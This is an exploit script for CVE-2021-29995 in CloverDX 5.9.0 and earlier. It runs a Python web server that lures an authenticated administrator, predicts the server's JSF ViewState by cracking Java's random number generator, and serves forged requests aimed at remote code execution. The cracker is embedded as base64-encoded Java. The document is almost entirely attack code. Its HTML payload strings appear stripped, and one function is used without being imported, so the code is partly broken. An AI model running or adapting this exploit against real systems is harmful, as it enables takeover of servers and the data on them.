# Exploit Title: CloverDX 5.9.0 - Cross-Site Request Forgery (CSRF) to Remote Code Execution (RCE) # Exploit Author: niebardzo # Vendor Homepage: https://www.cloverdx.com/ # Software Link: https://github.com/cloverdx/cloverdx-server-docker # Version: 5.9.0, 5.8.1, 5.8.0, 5.7.0, 5.6.x, 5.5.x, 5.4.x # Tested on: Docker image - https://github.com/cloverdx/cloverdx-server-docker # CVE : CVE-2021-29995 # Replace the target, payload and port to host the exploitation server. Exploit requires, inbound connection to CloverDX # Victim authenticated to CloverDX and the java to run the ViewStateCracker.java. # Reference for cracking ViewState: # https://jazzy.id.au/2010/09/20/cracking_random_number_generators_part_1.html # https://blog.securityevaluators.com/cracking-javas-rng-for-csrf-ea9cacd231d2 # import http.server import socketserver import requests from urllib.parse import urlparse from urllib.parse import parse_qs from bs4 import BeautifulSoup import subprocess import sys import json class ExploitHandler(http.server.SimpleHTTPRequestHandler): def do_GET(self): self.send_response(200) self.send_header("Content-Type", "text/html; charset=utf-8") self.end_headers() # replace with your own target target = "http://localhost:8080" query_comp = parse_qs(urlparse(self.path).query) if "target" in query_comp: target = query_comp["target"][0] req = requests.get(target+"/clover/gui/login.jsf") if req.status_code != 200: sys.exit(-1) # parse the reponse retrieve the ViewState soup = BeautifulSoup(req.text, "html.parser") cur_view_state = soup.find("input", {"name": "javax.faces.ViewState"})["value"] # Use the ViewstateCracker.java to get new Viewstate. new_view_state = subprocess.check_output(["java", "ViewstateCracker.java", cur_view_state]) new_view_state = new_view_state.decode("utf-8").strip() print(new_view_state) if new_view_state == "6927638971750518694:6717304323717288036": html = ("

Hello Clover Admin!

" + "") else: html = ("" + "" + "

Hello Clover Admin! Please wait here, content is loading...

" + "" + " " + " " + " " + " " + "" + "" + "" + "" + "") self.wfile.write(bytes(html,"utf-8")) base64_enc_viewstatecracker = "CnB1YmxpYyBjbGFzcyBWaWV3c3RhdGVDcmFja2VyIHsKICAvKiBTVEFSVCBQQVJUIDEgKi8KICBwdWJsaWMgc3RhdGljIGZpbmFsIGludCBvZmZzZXQgICAgID0gMzI7CiAgcHVibGljIHN0YXRpYyBmaW5hbCBpbnQgaXRlcmF0aW9ucyA9IDY1NTM2OwoKICBwdWJsaWMgc3RhdGljIGZpbmFsIFN0cmluZyBnZW5lcmF0ZU5ld1ZpZXdzdGF0ZShmaW5hbCBsb25nIGlkSW5Mb2dpY2FsTWFwLCBmaW5hbCBsb25nIGlkSW5BY3R1YWxNYXApIHsKICAgIGZpbmFsIGxvbmcgZmlyc3QzMkJpdHNPZklkSW5Mb2dpY2FsTWFwICA9IGlkSW5Mb2dpY2FsTWFwID4+PiBvZmZzZXQ7CiAgICBmaW5hbCBsb25nIHNlY29uZDMyQml0c09mSWRJbkxvZ2ljYWxNYXAgPSAoKGlkSW5Mb2dpY2FsTWFwIDw8IG9mZnNldCkgPj4+IG9mZnNldCk7CiAgICBmaW5hbCBsb25nIGZpcnN0MzJCaXRzT2ZJZEluQWN0dWFsTWFwICAgPSBpZEluQWN0dWFsTWFwID4+PiBvZmZzZXQ7ICAgICAgICAgLy8gVmVyaWZpY2F0aW9uCiAgICBmaW5hbCBsb25nIHNlY29uZDMyQml0c09mSWRJbkFjdHVhbE1hcCAgPSAoKGlkSW5BY3R1YWxNYXAgPDwgb2Zmc2V0KSA+Pj4gb2Zmc2V0KTsgLy8gVmVyaWZpY2F0aW9uCiAgICAvKiBFTkQgUEFSVCAxICovCgogICAgLyogU1RBUlQgUEFSVCAyICovCiAgICBsb25nIHRoZV9zZWVkID0gMUw7CgogICAgZm9yIChpbnQgaSA9IDA7IGkgPCBpdGVyYXRpb25zOyBpKyspIHsKICAgICAgbG9uZyB0bXBfc2VlZCA9ICgoZmlyc3QzMkJpdHNPZklkSW5Mb2dpY2FsTWFwIDw8IDE2KSArIGkpOwogICAgICBpZiAoKChpbnQpKCgodG1wX3NlZWQgKiAweDVERUVDRTY2REwgKyAweEJsKSAmICgoMUwgPDwgNDgpIC0gMSkpID4+PiAxNikpID09IHNlY29uZDMyQml0c09mSWRJbkxvZ2ljYWxNYXApIHsKICAgICAgICAvL1N5c3RlbS5vdXQucHJpbnRsbigiU2VlZCBmb3VuZDogIiArIHRtcF9zZWVkKTsKICAgICAgICB0aGVfc2VlZCA9IHRtcF9zZWVkOwogICAgICAgIGJyZWFrOwogICAgICB9CiAgICB9CiAgICAvKiBFTkQgUEFSVCAyICovCgogICAgLyogU1RBUlQgUEFSVCAzICovCiAgICAvLyBHZW5lcmF0ZSBudW1iZXIgMiAoU2Vjb25kIE51bWJlciBvZiBpZEluTG9naWNhbE1hcCkKICAgIHRoZV9zZWVkID0gKHRoZV9zZWVkICogMHg1REVFQ0U2NkRMICsgMHhCTCkgJiAoKDFMIDw8IDQ4KSAtIDEpOwoKICAgIC8vQ2FsY3VsYXRlIHRoZSB2YWx1ZSBvZiBpZEluQWN0dWFsTWFwCiAgICB0aGVfc2VlZCA9ICh0aGVfc2VlZCAqIDB4NURFRUNFNjZETCArIDB4QkwpICYgKCgxTCA8PCA0OCkgLSAxKTsKICAgIHRoZV9zZWVkID0gKHRoZV9zZWVkICogMHg1REVFQ0U2NkRMICsgMHhCTCkgJiAoKDFMIDw8IDQ4KSAtIDEpOwogICAgLyogRU5EIFBBUlQgMyovCgogICAgLyogU1RBUlQgUEFSVCA0Ki8KICAgIC8qIENhbGN1bGF0ZSBhIG5ldyBpZEluTG9naWNhbE1hcCAqLwoKICAgIC8vIEdlbmVyYXRlIHRoZSBmaXJzdCBoYWxmIG9mIHRoZSBmaXJzdCBMb25nCiAgICB0aGVfc2VlZCA9ICh0aGVfc2VlZCAqIDB4NURFRUNFNjZETCArIDB4QkwpICYgKCgxTCA8PCA0OCkgLSAxKTsKICAgIGludCBudW1iZXJfNSA9ICgoaW50KSh0aGVfc2VlZCA+Pj4gMTYpKTsKCiAgICAvLyBHZW5lcmF0ZSB0aGUgc2Vjb25kIGhhbGYgb2YgdGhlIGZpcnN0IExvbmcKICAgIHRoZV9zZWVkID0gKHRoZV9zZWVkICogMHg1REVFQ0U2NkRMICsgMHhCTCkgJiAoKDFMIDw8IDQ4KSAtIDEpOwogICAgaW50IG51bWJlcl82ID0gKChpbnQpKHRoZV9zZWVkID4+PiAxNikpOwoKICAgIC8vSGVyZSBpcyB0aGUgbmV3IGlkSW5Mb2dpY2FsTWFwCiAgICBsb25nIG5ld19sb25nXzEgPSAoKChsb25nKW51bWJlcl81IDw8IDMyKSArIG51bWJlcl82KTsKCgogICAgLyogQ2FsY3VsYXRlIGEgbmV3IGlkSW5BY3R1YWxNYXAgKi8KCiAgICAvLyBHZW5lcmF0ZSB0aGUgZmlyc3QgaGFsZiBvZiB0aGUgc2Vjb25kIExvbmcKICAgIHRoZV9zZWVkID0gKHRoZV9zZWVkICogMHg1REVFQ0U2NkRMICsgMHhCTCkgJiAoKDFMIDw8IDQ4KSAtIDEpOwogICAgaW50IG51bWJlcl83ID0gKChpbnQpKHRoZV9zZWVkID4+PiAxNikpOwoKICAgIC8vIEdlbmVyYXRlIHRoZSBzZWNvbmQgaGFsZiBvZiB0aGUgc2Vjb25kIExvbmcKICAgIHRoZV9zZWVkID0gKHRoZV9zZWVkICogMHg1REVFQ0U2NkRMICsgMHhCTCkgJiAoKDFMIDw8IDQ4KSAtIDEpOwogICAgaW50IG51bWJlcl84ID0gKChpbnQpKHRoZV9zZWVkID4+PiAxNikpOwoKICAgIC8vCiAgICBsb25nIG5ld19sb25nXzIgPSAoKChsb25nKW51bWJlcl83IDw8IDMyKSArIG51bWJlcl84KTsKCiAgICByZXR1cm4gbmV3X2xvbmdfMSArICI6IiArIG5ld19sb25nXzI7CiAgICAvKkVORCBQQVJUNCovCiAgfQogcHVibGljIHN0YXRpYyB2b2lkIG1haW4gKFN0cmluZyBhcmdzW10pIHsKCVN0cmluZyB0b2tlbiA9IGFyZ3NbMF07CglTdHJpbmdbXSBsb25ncyA9IHRva2VuLnNwbGl0KCI6Iik7Cglsb25nIGxvbmcxID0gTG9uZy5wYXJzZUxvbmcobG9uZ3NbMF0pOwoJbG9uZyBsb25nMiA9IExvbmcucGFyc2VMb25nKGxvbmdzWzFdKTsKCVN0cmluZyBuZXdUb2tlbiA9IGdlbmVyYXRlTmV3Vmlld3N0YXRlKGxvbmcxLGxvbmcyKTsKCVN5c3RlbS5vdXQucHJpbnRsbihuZXdUb2tlbik7Cgp9Cgp9Cg==" # # This drops ViewstateCracker.java from above, ref: https://blog.securityevaluators.com/cracking-javas-rng-for-csrf-ea9cacd231d2 # with open("ViewstateCracker.java","w") as f: f.write(b64decode(bytes(base64_enc_viewstatecracker, 'utf-8')).decode('utf-8')) exploit_handler = ExploitHandler PORT = 6010 exploit_server = socketserver.TCPServer(("", PORT), exploit_handler) exploit_server.serve_forever()